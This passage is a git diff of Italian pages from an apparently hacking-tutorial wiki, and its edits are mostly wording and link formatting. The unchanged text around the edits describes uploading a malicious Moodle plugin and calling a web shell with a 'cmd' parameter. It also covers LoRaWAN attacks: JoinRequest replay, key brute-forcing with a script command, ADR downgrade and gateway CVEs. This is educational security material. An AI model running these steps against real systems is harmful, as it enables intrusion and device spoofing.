revshell e ricomprimerlo_) {{#file}} moodle-rce-plugin.zip @@ -80,7 +80,7 @@ moodle-rce-plugin.zip Oppure potresti usare il plugin da [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) per ottenere una shell PHP regolare con il parametro "cmd". -Per accedere e lanciare il plugin malevolo, devi accedere a: +Per accedere e lanciare il plugin malevolo devi accedere a: ```bash http://domain.com//blocks/rce/lang/en/block_rce.php?cmd=id ``` diff --git a/src/todo/radio-hacking/low-power-wide-area-network.md b/src/todo/radio-hacking/low-power-wide-area-network.md index 652f657bf..336ea54bf 100644 --- a/src/todo/radio-hacking/low-power-wide-area-network.md +++ b/src/todo/radio-hacking/low-power-wide-area-network.md @@ -26,7 +26,7 @@ Long Range (**LoRa**) è attualmente il livello fisico LPWAN più distribuito e | Livello | Vulnerabilità | Impatto pratico | |-------|----------|------------------| | PHY | Jammazione reattiva / selettiva | 100 % di perdita di pacchetti dimostrata con un singolo SDR e <1 W di output | -| MAC | Replay di Join-Accept & data-frame (riutilizzo nonce, rollover contatore ABP) | Spoofing del dispositivo, iniezione di messaggi, DoS | +| MAC | Replay di Join-Accept e data-frame (riutilizzo nonce, rollover contatore ABP) | Spoofing del dispositivo, iniezione di messaggi, DoS | | Server di rete | Inoltratore di pacchetti insicuro, filtri MQTT/UDP deboli, firmware del gateway obsoleto | RCE sui gateway → pivot nel network OT/IT | | Applicazione | AppKeys hard-coded o prevedibili | Attacco di forza bruta/decrittazione del traffico, impersonificazione dei sensori | @@ -35,7 +35,7 @@ Long Range (**LoRa**) è attualmente il livello fisico LPWAN più distribuito e ## Vulnerabilità recenti (2023-2025) * **CVE-2024-29862** – *ChirpStack gateway-bridge & mqtt-forwarder* ha accettato pacchetti TCP che bypassavano le regole del firewall stateful sui gateway Kerlink, consentendo l'esposizione dell'interfaccia di gestione remota. Risolto in 4.0.11 / 4.2.1 rispettivamente. -* **Dragino LG01/LG308 series** – Molteplici CVE 2022-2024 (ad es. 2022-45227 traversata di directory, 2022-45228 CSRF) ancora osservati non patchati nel 2025; abilitano il dump del firmware non autenticato o la sovrascrittura della configurazione su migliaia di gateway pubblici. +* **Dragino LG01/LG308 series** – Molteplici CVE dal 2022 al 2024 (ad es. 2022-45227 traversata di directory, 2022-45228 CSRF) ancora osservati non patchati nel 2025; abilitano il dump del firmware non autenticato o la sovrascrittura della configurazione su migliaia di gateway pubblici. * Overflow *packet-forwarder UDP* di Semtech (avviso non rilasciato, patchato 2023-10): uplink creato più grande di 255 B ha attivato uno stack-smash ‑> RCE sui gateway di riferimento SX130x (trovato da Black Hat EU 2023 “LoRa Exploitation Reloaded”). --- @@ -55,7 +55,7 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt 1. Cattura un legittimo **JoinRequest**. 2. Ritrasmettilo immediatamente (o incrementa RSSI) prima che il dispositivo originale trasmetta di nuovo. -3. Il server di rete assegna un nuovo DevAddr e chiavi di sessione mentre il dispositivo target continua con la vecchia sessione → l'attaccante possiede la sessione vacante e può iniettare uplink falsificati. +3. Il server di rete assegna un nuovo DevAddr e chiavi di sessione mentre il dispositivo target continua con la vecchia sessione → l'attaccante possiede una sessione vacante e può iniettare uplink falsificati. ### 3. Downgrading Adaptive Data-Rate (ADR) @@ -90,6 +90,6 @@ Forza SF12/125 kHz per aumentare il tempo di trasmissione → esaurisci il ciclo ## Riferimenti -* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf -* Panoramica di Trend Micro LoRaPWN – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a +* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf) +* Panoramica di Trend Micro LoRaPWN – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a) {{#include ../../banners/hacktricks-training.md}}